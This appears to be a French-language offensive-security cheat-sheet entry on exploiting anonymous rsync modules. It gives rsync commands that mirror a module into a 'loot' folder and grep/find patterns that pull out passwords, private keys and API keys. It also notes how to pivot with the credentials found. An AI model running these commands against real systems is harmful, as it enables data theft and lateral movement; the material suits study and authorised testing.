Un module rsync configuré sans auth users accepte n'importe quel client, de sorte que son contenu est entièrement lisible de manière anonyme. Les modules rsync sont couramment utilisés pour sauvegarder ou publier des répertoires serveur, ce qu'ils exposent est donc considérable : arborescences de configuration, code source web et applicatif, clés SSH et TLS, et jeux de sauvegardes complets. Télécharger un module anonyme constitue donc un point d'appui direct pour le vol de données, équivalent à la lecture d'un partage, et rsync rend trivial le miroir de l'arborescence entière.
# mirror an entire anonymous module for offline loot
rsync -av rsync://<target>/<module>/ ./loot/
# or the double-colon form
rsync -av <target>::<module>/ ./loot/
# then mine the contents for secrets
grep -rinE 'password|secret|BEGIN (RSA|OPENSSH) PRIVATE KEY|api[_-]?key' ./loot | head
find ./loot -iname 'id_rsa' -o -iname '*.pem' -o -iname '*.conf' -o -iname '*.bak'
Notes d'exploitation#
rsync -avmet en miroir le module de façon récursive avec les attributs, extrayant efficacement toute l'arborescence pour une analyse hors ligne ; triez avec les mêmes motifs d'identifiants et de fichiers sensibles utilisés pour tout butin de partage.- Les modules de sauvegarde sont les plus riches : un module qui contient des sauvegardes de serveur ou de base de données peut livrer des systèmes entiers (et, à partir d'une sauvegarde de DC, les hashs du domaine), comme pour le pillage de partages de sauvegarde.
- L'accès en lecture est peu bruyant et ne nécessite aucun identifiant ; c'est l'action première évidente contre tout module anonyme trouvé lors de l'énumération.
- Les clés et configurations récupérées permettent de pivoter plus loin (SSH, services) ; réinjectez-les dans l'environnement.